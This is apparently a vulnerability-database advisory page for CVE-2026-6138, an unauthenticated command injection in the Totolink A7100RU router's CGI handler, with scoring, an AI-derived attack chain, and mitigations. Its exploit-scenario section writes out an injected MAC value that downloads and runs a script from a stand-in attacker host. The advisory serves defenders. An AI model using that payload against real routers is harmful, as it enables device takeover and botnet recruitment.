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A7100Ru EUVDEUVD-2026-21761

| CVE-2026-6138 HIGH
OS Command Injection (CWE-78)
2026-04-13 VulDB GHSA-4gxr-jwfr-c55p
8.9
CVSS 4.0 · Vendor: VulDB
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Scan internet for exposed Totolink A7100RU management interfaces
  2. Delivery
    Send crafted HTTP request with injected shell commands in MAC parameter
  3. Exploit
    CGI handler executes arbitrary OS commands as privileged user
  4. Execution
    Download and execute malicious payload
  5. Persist
    Establish C2 connection
  6. Impact
    Exfiltrate network traffic or recruit into botnet

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker can exploit CVE-2026-6138 in Totolik A7100RU firmware 7.4cu.2313_b20191024 via OS command injection in the 'mac' parameter of setAccessDeviceCfg function (/cgi-bin/cstecgi.cgi). No authentication, user interaction, or special configuration required.

Impact

Real-world risk is HIGH despite lack of KEV confirmation. The CVSS 9.8 score accurately reflects critical severity: network attack vector (AV:N) requires no special access, low complexity (AC:L) means exploitation is straightforward, no privileges required (PR:N) and no user interaction (UI:N) enable fully automated attacks, and complete system compromise (C:H/I:H/A:H) is achievable. Publicly available exploit code on GitHub dramatically increases risk by enabling script-kiddie level attacks. Attack complexity is genuinely low - web-based command injection with no authentication is trivial to exploit once the vulnerable endpoint is identified. Primary risk factors: (1) consumer routers frequently remain unpatched, (2) many expose management interfaces to the internet via UPnP or user misconfiguration, (3) automated scanners actively probe for vulnerable CGI endpoints, (4) command injection provides immediate root-level access for botnet recruitment, cryptomining, or pivoting into home/small business networks. SSVC decision: Exploitation status is POC available (not active per KEV), automatable is YES (no user interaction), technical impact is TOTAL (full system control). Without EPSS data, assume moderate-to-high probability given public exploit and large installed base of consumer routers. This is a legitimate priority for organizations using Totolink equipment and for threat intelligence teams tracking IoT botnets.

Exploit ScenarioDerived

An attacker uses Shodan or Censys to identify Totolink A7100RU routers with exposed web management interfaces on port 80 or 8080. They send a crafted HTTP POST request to /cgi-bin/cstecgi.cgi targeting the setAccessDeviceCfg function with a malicious MAC parameter like 'AA:BB:CC:DD:EE:FF;wget http://attacker.com/botnet.sh -O /tmp/bot;sh /tmp/bot;'. The vulnerable CGI script executes the injected commands without authentication, downloading and running a botnet client or cryptominer with root privileges, giving the attacker persistent control of the router and visibility into all network traffic passing through it.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 13, 2026

OS command injection in Totolink A7100RU router firmware version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands with router privileges via a crafted MAC address parameter to the setAccessDeviceCfg function in /cgi-bin/cstecgi.cgi. CVSS 9.8 (Critical) with publicly available exploit code on GitHub. No authentication, low complexity, network-exploitable. EPSS and KEV data not available, but public POC significantly lowers exploitation barrier for opportunistic attacks against internet-exposed router management interfaces.

RemediationAI

No vendor-released patch identified at time of analysis based on available references. Users should immediately check the official Totolink support site at https://www.totolink.net/ for firmware updates newer than version 7.4cu.2313_b20191024. As an interim mitigation, disable remote administration access to the router's web management interface, ensuring it is only accessible from the local LAN and not exposed to the internet. Implement network-level access controls (firewall rules) to restrict access to the management interface to trusted IP addresses only. Consider replacing the device with alternative hardware if the vendor does not provide timely security updates, as command injection vulnerabilities of this severity cannot be effectively mitigated without patching the underlying code flaw. Monitor router logs for suspicious access attempts to /cgi-bin/cstecgi.cgi and unusual outbound connections that might indicate compromise.

Affected VersionsENISA

A7100RU 7.4cu.2313_b20191024

Affected Packages

euvd a7100ru no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

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Technical ContextAI · show details

This vulnerability affects the CGI (Common Gateway Interface) handler in Totolink A7100RU wireless routers, specifically the setAccessDeviceCfg function within the cstecgi.cgi script. The root cause is CWE-78 (OS Command Injection), where user-supplied input in the 'mac' parameter is not properly validated or sanitized before being passed to underlying system shell commands. CGI scripts on embedded devices like routers typically run with elevated privileges to configure network settings, making command injection particularly dangerous. The affected product (cpe:2.3:a:totolink:a7100ru) is a consumer-grade wireless router, and the vulnerable CGI endpoint is commonly exposed on the device's web management interface. Improper input validation allows attackers to break out of the intended command context by injecting shell metacharacters (semicolons, pipes, backticks) within the MAC address field, causing the router to execute arbitrary commands as root or the web server user.

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Severity by source

Vendor (VulDB) PRIMARY 8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
PoC Detected
Apr 27, 2026 - 19:05 vuln.today
Public exploit code
Severity Changed
Apr 13, 2026 - 00:22 NVD
CRITICAL HIGH
CVSS changed
Apr 13, 2026 - 00:22 NVD
9.8 (CRITICAL) 8.9 (HIGH)
CVE Published
Apr 13, 2026 - 00:00 nvd
HIGH 8.9

DescriptionCVE.org

A flaw has been found in Totolink A7100RU 7.4cu.2313_b20191024. The impacted element is the function setAccessDeviceCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument mac causes os command injection. The attack can be initiated remotely. The exploit has been published and may be used.

Executive ViewAI

Why It Matters

Totolik A7100RU routers running firmware 7.4cu.2313_b20191024 contain a critical unauthenticated remote code execution vulnerability that allows attackers to execute arbitrary commands with full router privileges. Organizations with internet-exposed instances of this router model face immediate risk of compromise, network infiltration, and potential lateral movement into corporate networks, as exploitation requires no authentication and publicly available exploit code exists.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict network access to router management interfaces (/cgi-bin/cstecgi.cgi) using firewall rules and ACLs to trusted administrative IP addresses only; disable WAN-facing management interfaces; monitor router logs for suspicious MAC address parameters and command injection patterns; consider blocking or segmenting traffic to affected devices until patched or replaced.

Threat Intelligence Overview

EPSS Score
0.9%
Top 24% exploitable
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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